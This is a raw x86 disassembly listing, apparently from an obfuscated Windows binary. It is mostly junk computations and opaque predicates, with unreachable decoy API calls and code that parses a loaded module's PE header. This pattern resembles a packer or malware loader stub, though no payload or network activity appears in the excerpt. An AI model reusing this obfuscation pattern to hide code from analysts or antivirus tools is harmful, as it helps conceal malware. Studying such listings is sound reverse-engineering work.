mov dword [ebp - 0x43c], 1
jmp 0x425fda
and dword [ebp - 0x43c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x43c], eax
jl 0x425ff8
mov dword [ebp - 0x314], 1
jmp 0x425fff
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x314], eax
jne 0x426016
and dword [ebp - 0x4d4], 0
jmp 0x426020
mov dword [ebp - 0x4d4], 1
cmp dword [ebp - 0x4d4], 0x7399d012
jle 0x426038
mov dword [ebp - 0x31c], 1
jmp 0x42603f
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x134], eax
je 0x426062
mov dword [ebp - 0x63c], 1
jmp 0x426069
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x20], 2
ja 0x426099
mov dword [ebp - 0x444], 1
jmp 0x4260a0
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0xfffffffc
jle 0x4260b5
mov dword [ebp - 0x324], 1
jmp 0x4260bc
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x324]
sub eax, dword [ebp - 0x20]
js 0x4260d3
mov dword [ebp - 0x544], 1
jmp 0x4260da
and dword [ebp - 0x544], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x544], eax
jg 0x4260f8
mov dword [ebp - 0x32c], 1
jmp 0x4260ff
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x32c], eax
jge 0x426116
mov dword [ebp - 0x44c], 1
jmp 0x42611d
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x44c]
jge 0x426134
mov dword [ebp - 0x5cc], 1
jmp 0x42613b
and dword [ebp - 0x5cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x48], 0
jne 0x42616c
xor eax, eax
inc eax
jne 0x42616c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0
jne 0x42616c
and dword [ebp - 0x334], 0
jmp 0x426176
mov dword [ebp - 0x334], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x334], eax
jl 0x426194
mov dword [ebp - 0x4dc], 1
jmp 0x42619b
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x4dc], eax
jle 0x4261b8
cmp dword [ebp - 0x48], 0
je 0x4261b8
mov dword [ebp - 0x33c], 1
jmp 0x4261bf
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x68c]
cmp dword [ebp - 0x33c], eax
jge 0x4261d9
mov dword [ebp - 0x454], 1
jmp 0x4261e0
and dword [ebp - 0x454], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x454], eax
jle 0x4261fe
mov dword [ebp - 0x344], 1
jmp 0x426205
and dword [ebp - 0x344], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x708]
cmp dword [ebp - 0x344], eax
jl 0x426226
mov dword [ebp - 0x524], 1
jmp 0x42622d
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x5d4], eax
xor eax, eax
jmp 0x428b7d
mov dword [ebp - 0x74], 0xadae8c9f
mov dword [ebp - 0x10], 0x35e4b783
mov dword [ebp - 0x18], 0xd52aa0a5
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x1b0], 0x5f5dda30
mov dword [ebp - 0x7c], 0xffffffff
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jge 0x426284
cmp dword [ebp - 0x10], 0
jne 0x426284
and dword [ebp - 0x34c], 0
jmp 0x42628e
mov dword [ebp - 0x34c], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x34c], eax
jle 0x4262a5
mov dword [ebp - 0x45c], 1
jmp 0x4262ac
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x4262ca
cmp dword [ebp - 0x6c], 0
jne 0x4262ca
and dword [ebp - 0x354], 0
jmp 0x4262d4
mov dword [ebp - 0x354], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x354]
jg 0x4262f4
cmp dword [ebp - 0x6c], 0
jne 0x4262f4
and dword [ebp - 0x4e4], 0
jmp 0x4262fe
mov dword [ebp - 0x4e4], 1
mov eax, dword [ebp - 0x4e4]
neg eax
imul eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jge 0x42631b
mov dword [ebp - 0x644], 1
jmp 0x426322
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x834], eax
mov dword [ebp - 0x74], 0xfffffffd
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x744], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x74], eax
jne 0x426358
mov dword [ebp - 0x35c], 1
jmp 0x42635f
and dword [ebp - 0x35c], 0
cmp dword [ebp - 0x35c], 0
je 0x4268ed
mov dword [ebp - 0xdc], 0x3bf844ba
mov dword [ebp - 0xbc], 0x40f8278b
mov dword [ebp - 0x1d4], 0xff40b36f
mov dword [ebp - 0x198], 0
jmp 0x4263a3
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x4263bf
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x13c], 7
jmp 0x426396
mov dword [ebp - 0x18], 0xfffffffe
jmp 0x4263cf
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jne 0x4268eb
mov dword [ebp - 0x4c], 0
jmp 0x4263e9
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x4263ff
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x574], 4
jmp 0x4263e2
mov dword [ebp - 0x4c], 0
jmp 0x42640f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x426425
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x6d4], 0xbcb1743e
jmp 0x426408
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x574]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
je 0x4264d6
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x10], eax
jne 0x42645c
mov dword [ebp - 0x1f8], 1
jmp 0x426463
and dword [ebp - 0x1f8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f8]
mov dword [ebp + eax - 0x6d4], ecx
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x1f8]
cmp eax, dword [ebp - 0xbc]
jg 0x426496
mov dword [ebp - 0x464], 1
jmp 0x42649d
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x464]
je 0x4264b7
mov dword [ebp - 0x364], 1
jmp 0x4264be
and dword [ebp - 0x364], 0
cmp dword [ebp - 0x364], 0xffff
je 0x4264d6
mov dword [ebp - 0x5dc], 1
jmp 0x4264dd
and dword [ebp - 0x5dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x574]
mov dword [ebp - 0x74c], eax
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x1b0], eax
jl 0x426507
mov dword [ebp - 0x568], 1
jmp 0x42650e
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x568], eax
jl 0x426525
mov dword [ebp - 0x36c], 1
jmp 0x42652c
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push 4
pop ecx
shl ecx, 0
mov edx, dword [ebp - 0x36c]
sub edx, dword [ebp + ecx - 0x574]
imul eax, edx
cmp eax, dword [ebp - 0x10]
jl 0x42655f
mov dword [ebp - 0x46c], 1
jmp 0x426566
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0x46c]
jl 0x426580
mov dword [ebp - 0x374], 1
jmp 0x426587
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x374], eax
jl 0x4265a7
mov eax, 0xf90bf567
test eax, eax
jne 0x4265a7
and dword [ebp - 0x4ec], 0
jmp 0x4265b1
mov dword [ebp - 0x4ec], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4ec]
sub ecx, dword [ebp + eax - 0x574]
add ecx, dword [ebp - 0x74]
mov dword [ebp - 0x1d4], ecx
cmp dword [ebp - 0x18], 0
jne 0x42664c
mov eax, dword [ebp - 0x1d4]
add eax, dword [ebp - 0x74]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x574]
jge 0x4265f7
mov dword [ebp - 0x37c], 1
jmp 0x4265fe
and dword [ebp - 0x37c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x13c]
imul eax, dword [ebp - 0x37c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x6d4]
je 0x42662d
mov dword [ebp - 0x474], 1
jmp 0x426634
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42664c
and dword [ebp - 0x384], 0
jmp 0x426656
mov dword [ebp - 0x384], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6d4]
cmp dword [ebp - 0x384], eax
jg 0x426677
mov dword [ebp - 0x52c], 1
jmp 0x42667e
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x688], eax
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x688]
cmp eax, dword [ebp - 0x5e4]
jl 0x4266b4
mov dword [ebp - 0x38c], 1
jmp 0x4266bb
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 0x37f2e4e9
je 0x4266d3
mov dword [ebp - 0x47c], 1
jmp 0x4266da
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x4266fd
xor eax, eax
inc eax
jne 0x4266fd
and dword [ebp - 0x394], 0
jmp 0x426707
mov dword [ebp - 0x394], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x394], eax
jle 0x426722
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13c], 0
je 0x426734
cmp dword [ebp - 0x18], 0
je 0x426734
mov dword [ebp - 0x4f4], 1
jmp 0x42673b
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x4f4], eax
jg 0x426752
mov dword [ebp - 0x1e4], 1
jmp 0x426759
and dword [ebp - 0x1e4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp + eax - 0x6d4], ecx
cmp dword [ebp - 0x1e4], 0
jg 0x426781
mov dword [ebp - 0x64c], 1
jmp 0x426788
and dword [ebp - 0x64c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x574]
cmp dword [ebp + eax - 0x574], ecx
jg 0x4267b0
mov dword [ebp - 0x39c], 1
jmp 0x4267b7
and dword [ebp - 0x39c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x574]
cmp eax, dword [ebp - 0x39c]
je 0x4267d8
mov dword [ebp - 0x484], 1
jmp 0x4267df
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x1b0]
add eax, dword [ebp - 0x484]
cmp eax, 0x984
jg 0x4267fe
mov dword [ebp - 0x3a4], 1
jmp 0x426805
and dword [ebp - 0x3a4], 0
cmp dword [ebp - 0x3a4], 0xb561
jle 0x42681d
mov dword [ebp - 0x54c], 1
jmp 0x426824
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x1b0]
cmp eax, dword [ebp - 0x54c]
jne 0x426840
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13c], 0
xor eax, eax
inc eax
je 0x426857
cmp dword [ebp - 0x6c], 0
je 0x426857
mov dword [ebp - 0x3ac], 1
jmp 0x42685e
and dword [ebp - 0x3ac], 0
cmp dword [ebp - 0x3ac], 0
je 0x426873
mov dword [ebp - 0x48c], 1
jmp 0x42687a
and dword [ebp - 0x48c], 0
imul eax, dword [ebp - 0x48c], 0x9654
test eax, eax
jne 0x4268aa
mov eax, 0x1ad5
test eax, eax
jne 0x4268aa
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13c], 0
jne 0x4268aa
and dword [ebp - 0x3b4], 0
jmp 0x4268b4
mov dword [ebp - 0x3b4], 1
cmp dword [ebp - 0x3b4], 0x3982aeba
jle 0x4268d2
cmp dword [ebp - 0x1b0], 0
jne 0x4268d2
and dword [ebp - 0x5ec], 0
jmp 0x4268dc
mov dword [ebp - 0x5ec], 1
mov dword [ebp - 0x1d4], 9
jmp 0x4263c8
jmp 0x42695a
mov dword [ebp - 0x650], 0xffffffff
mov dword [ebp - 0x18], 0
jmp 0x426907
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jl 0x42693d
mov dword [ebp - 0x5f4], 0x4770c58f
mov dword [ebp - 0x7c], 0
jmp 0x426927
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xa
je 0x42693b
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x5f4], eax
jmp 0x426920
jmp 0x426900
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x42695a
push 0xa44
call dword [sym.imp.USER32.dll_GetKeyState]
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x494], 0xbdfadf62
mov dword [ebp - 0x72c], 0x5b8b78ac
mov dword [ebp - 0x658], 0x96d402da
mov dword [ebp - 0x604], 0x6f79b347
mov dword [ebp - 0x144], 0
jmp 0x4269b7
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x4269d3
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x1a0], 1
jmp 0x4269aa
mov dword [ebp - 0xb0], 3
mov dword [ebp - 0xb0], 0
jmp 0x4269f6
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0xfffffff4
jge 0x426b83
mov dword [ebp - 0x1c0], 2
mov dword [ebp - 0x1f4], 7
mov dword [ebp - 0x5fc], 2
mov dword [ebp - 0x14c], 0x14a5ea96
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x658], 0
je 0x426a83
xor eax, eax
inc eax
sub eax, dword [ebp - 0x1c0]
cmp eax, dword [ebp - 0x1c0]
jl 0x426a5d
mov dword [ebp - 0x4fc], 1
jmp 0x426a64
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x5fc]
sub eax, dword [ebp - 0x4fc]
cmp eax, 1
jg 0x426a83
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1a0], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1a0]
cmp dword [ebp + eax - 0x1a0], ecx
jle 0x426aab
mov dword [ebp - 0x3bc], 1
jmp 0x426ab2
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
sub eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x694], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x694]
mov dword [ebp + eax - 0x1a0], ecx
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x75c], eax
mov eax, dword [ebp - 0x494]
cmp dword [ebp - 0x494], eax
je 0x426b22
mov dword [ebp - 0x3c4], 1
jmp 0x426b29
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x1f4]
cmp dword [ebp - 0x3c4], eax
jge 0x426b47
push 9
pop eax
test eax, eax
jne 0x426b47
and dword [ebp - 0x534], 0
jmp 0x426b51
mov dword [ebp - 0x534], 1
mov eax, dword [ebp - 0x1f4]
cmp dword [ebp - 0x534], eax
jle 0x426b6b
mov dword [ebp - 0x3cc], 1
jmp 0x426b72
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x1f4], eax
jmp 0x4269e9
mov eax, dword [ebp - 0xd8]
cmp dword [eax], 0x4550
je 0x426ecc
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0x504], 0xbdfadf62
mov dword [ebp - 0x780], 0x5b8b78ac
mov dword [ebp - 0x65c], 0x96d402da
mov dword [ebp - 0x614], 0x6f79b347
mov dword [ebp - 0x154], 0
jmp 0x426be0
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x426bfc
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x1a8], 1
jmp 0x426bd3
mov dword [ebp - 0xb8], 3
mov dword [ebp - 0xb8], 0
jmp 0x426c1f
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xfffffff4
jge 0x426dac
mov dword [ebp - 0x190], 2
mov dword [ebp - 0x1dc], 7
mov dword [ebp - 0x60c], 2
mov dword [ebp - 0x15c], 0x14a5ea96
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x65c], 0
je 0x426cac
xor eax, eax
inc eax
sub eax, dword [ebp - 0x190]
cmp eax, dword [ebp - 0x190]
jl 0x426c86
mov dword [ebp - 0x49c], 1
jmp 0x426c8d
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x60c]
sub eax, dword [ebp - 0x49c]
cmp eax, 1
jg 0x426cac
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1a8], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1a8]
cmp dword [ebp + eax - 0x1a8], ecx
jle 0x426cd4
mov dword [ebp - 0x3d4], 1
jmp 0x426cdb
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x69c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x69c]
mov dword [ebp + eax - 0x1a8], ecx
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x504]
cmp dword [ebp - 0x504], eax
je 0x426d4b
mov dword [ebp - 0x3dc], 1
jmp 0x426d52
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x1dc]
cmp dword [ebp - 0x3dc], eax
jge 0x426d70
push 9
pop eax
test eax, eax
jne 0x426d70
and dword [ebp - 0x4a4], 0
jmp 0x426d7a
mov dword [ebp - 0x4a4], 1
mov eax, dword [ebp - 0x1dc]
cmp dword [ebp - 0x4a4], eax
jle 0x426d94
mov dword [ebp - 0x3e4], 1
jmp 0x426d9b
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x1dc], eax
jmp 0x426c12
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0x5ac], 0
mov dword [ebp - 0x5a8], 0
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 0x61c], 0xba095a97
mov dword [ebp - 0x164], 0
jmp 0x426df7
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 1
jge 0x426e13
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x664], 0x862f
jmp 0x426dea
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x5b0], 0
jmp 0x426e3e
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5b0]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x5b0], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x5b0], 0
jl 0x426ec5
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x426e69
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5b0]
cmp dword [ebp + eax*4 - 0x664], 0x11151
je 0x426e8e
mov dword [ebp - 0x560], 1
jmp 0x426e95
and dword [ebp - 0x560], 0
cmp dword [ebp - 0x560], 0xa756a336
jbe 0x426ead
mov dword [ebp - 0x3ec], 1
jmp 0x426eb4
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x61c], eax
jmp 0x426e25
xor eax, eax
jmp 0x428b7d
mov dword [ebp - 0x30], 0xbac64a68
mov dword [ebp - 0x16c], 8
mov dword [ebp - 0x1ec], 7
mov dword [ebp - 0x6a0], 0xe69ed994
mov dword [ebp - 0x2d8], 0xffffffff
mov dword [ebp - 0x624], 0xf3b1ad31
mov dword [ebp - 0x30], 5
jmp 0x426f15
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffeb
jl 0x427020
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x54], 0
jmp 0x426f39
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x426f4f
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x8d4], 0x12a3
jmp 0x426f32
mov dword [ebp - 0x54], 0
jmp 0x426f5f
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x426f75
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x4b4], 1
jmp 0x426f58
cmp dword [ebp - 0x194], 0
jge 0x426f8a
mov dword [ebp - 0x224], 1
jmp 0x426f91
and dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x224]
sub eax, 5
cmp eax, dword [ebp - 0x194]
jge 0x426fae
mov dword [ebp - 0x3f4], 1
jmp 0x426fb5
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x3f4], eax
jg 0x426fcf
mov dword [ebp - 0x50c], 1
jmp 0x426fd6
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x50c]
add eax, dword [ebp - 0x194]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x4b4]
jne 0x427001
mov dword [ebp - 0x3fc], 1
jmp 0x427008
and dword [ebp - 0x3fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp + eax - 0x4b4], ecx
jmp 0x426f0e
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jg 0x427034
mov dword [ebp - 0x4bc], 1
jmp 0x42703b
and dword [ebp - 0x4bc], 0
mov eax, 0xfa025ec5
test eax, eax
je 0x4270db
mov dword [ebp - 0x1ec], 0xb6bd0d4
mov eax, dword [ebp - 0x16c]
add eax, dword [ebp - 0x30]
cmp eax, 0xbc6a687e
jbe 0x42706e
mov dword [ebp - 0x404], 1
jmp 0x427075
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x1ec], eax
jge 0x42709b
mov dword [ebp - 0x53c], 1
jmp 0x4270a2
and dword [ebp - 0x53c], 0
cmp dword [ebp - 0x53c], 0x9cbadbef
jbe 0x4270ba
mov dword [ebp - 0x40c], 1
jmp 0x4270c1
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x40c], eax
jge 0x4270db
mov dword [ebp - 0x414], 1
jmp 0x4270e2
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x4bc]
neg eax
cmp eax, dword [ebp - 0x414]
jge 0x4270fe
mov dword [ebp - 0x514], 1
jmp 0x427105
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x16c]
add eax, dword [ebp - 0x514]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x6a0]
cmp dword [ebp - 0x30], eax
je 0x42712b
mov dword [ebp - 0x41c], 1
jmp 0x427132
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0x4db1
jne 0x42714a
mov dword [ebp - 0x2d4], 1
jmp 0x427151
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x624], eax
push 0x3088
push 0x6d29
push 0x1bf3
lea eax, [ebp - 0x160]
push eax
push 0x14a0
push 1
push 0x121d
push 1
push 0x79b
push 0x57cb
push 0x50f1
push 1
push 0x7540
push 0x7085
push 0x76e2
push dword [ebp - 0xd8]
push 1
push 1
call fcn.0041a6ae
add esp, 0x48
mov dword [ebp - 0xc0], 0xfffffffb
mov dword [ebp - 0x300], 0xfffd
mov dword [ebp - 0x174], 1
mov dword [ebp - 0x330], 0xab3cf813
mov dword [ebp - 0x328], 7
mov dword [ebp - 0x338], 0xfe44fa3f
mov dword [ebp - 0x19c], 0
jmp 0x427214
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x427230
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x358], 0x29a275ff
jmp 0x427207
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x78c], eax
xor eax, eax
jne 0x427252
cmp dword [ebp - 0xc0], 0
jne 0x427252
and dword [ebp - 0x2cc], 0
jmp 0x42725c
mov dword [ebp - 0x2cc], 1
mov eax, dword [ebp - 0x300]
cmp dword [ebp - 0x2cc], eax
jg 0x427276
mov dword [ebp - 0x2e8], 1
jmp 0x42727d
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x2e8], eax
jl 0x427297
mov dword [ebp - 0x2f0], 1
jmp 0x42729e
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x2f0]
neg eax
je 0x4272b4
mov dword [ebp - 0x2f8], 1
jmp 0x4272bb
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x2f8]
sub ecx, dword [ebp - 0x300]
imul eax, ecx
cmp eax, 0xeec54165
ja 0x4272e3
mov dword [ebp - 0x308], 1
jmp 0x4272ea
and dword [ebp - 0x308], 0
cmp dword [ebp - 0x308], 0xcb5542af
jb 0x427302
mov dword [ebp - 0x310], 1
jmp 0x427309
and dword [ebp - 0x310], 0
imul eax, dword [ebp - 0x310], 0x7779
cmp dword [ebp - 0xc0], eax
jg 0x427327
mov dword [ebp - 0x318], 1
jmp 0x42732e
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x174], eax
je 0x427354
mov dword [ebp - 0x320], 1
jmp 0x42735b
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x330], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x358], 0
jne 0x4273c9
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x328], eax
je 0x42739d
mov dword [ebp - 0x66c], 1
jmp 0x4273a4
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x330]
